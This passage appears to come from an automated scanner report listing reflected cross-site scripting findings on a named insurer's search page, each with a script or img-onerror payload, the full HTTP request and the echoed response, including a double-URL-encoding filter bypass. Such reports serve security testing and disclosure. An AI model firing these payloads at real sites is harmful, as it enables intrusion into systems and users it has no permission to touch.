Expires: Fri, 31 Dec 2010 17:30:37 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu98a05"><script>alert(1)</script>d7e855e4f6d&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=fr&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27" >
...[SNIP]...

1.11. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [header_search_button.x parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=en,00.html

Issue detail

The value of the header_search_button.x request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 88c61"><script>alert(1)</script>c11427ef74a was submitted in the header_search_button.x parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=en&lang=1&header_search_button.x=088c61"><script>alert(1)</script>c11427ef74a&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Referer: http://www.manulife.com/public/home/index/0,,lang=en,00.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.2.10.1293816475

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:59 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:10 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
f="http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=fr&lang=1&header_search_button.x=088c61"><script>alert(1)</script>c11427ef74a&header_search_button.y=0&q=%27" >
...[SNIP]...

1.12. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [header_search_button.y parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=en,00.html

Issue detail

The value of the header_search_button.y request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71f86"><script>alert(1)</script>c08f37edc5e was submitted in the header_search_button.y parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=en&lang=1&header_search_button.x=0&header_search_button.y=071f86"><script>alert(1)</script>c08f37edc5e&q=%27 HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Referer: http://www.manulife.com/public/home/index/0,,lang=en,00.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.2.10.1293816475

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:05 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:16 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
m/public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=fr&lang=1&header_search_button.x=0&header_search_button.y=071f86"><script>alert(1)</script>c08f37edc5e&q=%27" >
...[SNIP]...

1.13. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [hl parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=en,00.html

Issue detail

The value of the hl request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfc0d"><script>alert(1)</script>c418841fa92 was submitted in the hl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=endfc0d"><script>alert(1)</script>c418841fa92&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Referer: http://www.manulife.com/public/home/index/0,,lang=en,00.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.2.10.1293816475

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:46 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:30:57 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=frdfc0d"><script>alert(1)</script>c418841fa92&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27" >
...[SNIP]...

1.14. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [ie parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=en,00.html

Issue detail

The value of the ie request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16b6e"><script>alert(1)</script>cc912a9b7ad was submitted in the ie parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-816b6e"><script>alert(1)</script>cc912a9b7ad&site=manulife.com&hl=en&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Referer: http://www.manulife.com/public/home/index/0,,lang=en,00.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.2.10.1293816475

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:32 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:30:43 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-816b6e"><script>alert(1)</script>cc912a9b7ad&site=manulife.com&hl=fr&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27" >
...[SNIP]...

1.15. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [lang parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=en,00.html

Issue detail

The value of the lang request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 434e3"><script>alert(1)</script>c6660be6bba was submitted in the lang parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=en&lang=1434e3"><script>alert(1)</script>c6660be6bba&header_search_button.x=0&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Referer: http://www.manulife.com/public/home/index/0,,lang=en,00.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.2.10.1293816475

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:53 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:04 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=fr&lang=1434e3"><script>alert(1)</script>c6660be6bba&header_search_button.x=0&header_search_button.y=0&q=%27" >
...[SNIP]...

1.16. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=en,00.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3dbdb"><script>alert(1)</script>0ef22261edc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=en,00.html?3dbdb"><script>alert(1)</script>0ef22261edc=1 HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:47 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:58 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html?3dbdb"><script>alert(1)</script>0ef22261edc=1" >
...[SNIP]...

1.17. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=en,00.html

Issue detail

The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52d12"><script>alert(1)</script>87d714f19f was submitted in the q parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=en&lang=1&header_search_button.x=0&header_search_button.y=0&q=%2752d12"><script>alert(1)</script>87d714f19f HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Referer: http://www.manulife.com/public/home/index/0,,lang=en,00.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.2.10.1293816475

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:11 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:22 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
ic/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=fr&lang=1&header_search_button.x=0&header_search_button.y=0&q=%2752d12"><script>alert(1)</script>87d714f19f" >
...[SNIP]...

1.18. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [site parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=en,00.html

Issue detail

The value of the site request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a671"><script>alert(1)</script>c2285dd1f3b was submitted in the site parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com5a671"><script>alert(1)</script>c2285dd1f3b&hl=en&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Referer: http://www.manulife.com/public/home/index/0,,lang=en,00.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.2.10.1293816475

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:30:50 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com5a671"><script>alert(1)</script>c2285dd1f3b&hl=fr&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27" >
...[SNIP]...

1.19. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=fr,00.html

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c3fd%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e3d76ccf2892 was submitted in the REST URL parameter 4. This input was echoed as 7c3fd"><img src=a onerror=alert(1)>3d76ccf2892 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /public/search/custom_search/0,,lang7c3fd%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e3d76ccf2892=fr,00.html HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:21:21 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:32:32 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,lang7c3fd"><img src=a onerror=alert(1)>3d76ccf2892=fr,00.html" >
...[SNIP]...

1.20. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [cof parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=fr,00.html

Issue detail

The value of the cof request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44784"><script>alert(1)</script>fb2f67415a3 was submitted in the cof parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A144784"><script>alert(1)</script>fb2f67415a3&ie=UTF-8&site=manulife.com&hl=fr&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:32 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:43 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A144784"><script>alert(1)</script>fb2f67415a3&ie=UTF-8&site=manulife.com&hl=en&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27" >
...[SNIP]...

1.21. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [cx parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=fr,00.html

Issue detail

The value of the cx request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95de6"><script>alert(1)</script>09a25425161 was submitted in the cx parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu95de6"><script>alert(1)</script>09a25425161&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=fr&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:28 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:39 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu95de6"><script>alert(1)</script>09a25425161&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=en&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27" >
...[SNIP]...

1.22. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [header_search_button.x parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=fr,00.html

Issue detail

The value of the header_search_button.x request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3e62"><script>alert(1)</script>b52561874a7 was submitted in the header_search_button.x parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=fr&lang=1&header_search_button.x=0f3e62"><script>alert(1)</script>b52561874a7&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:21:00 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
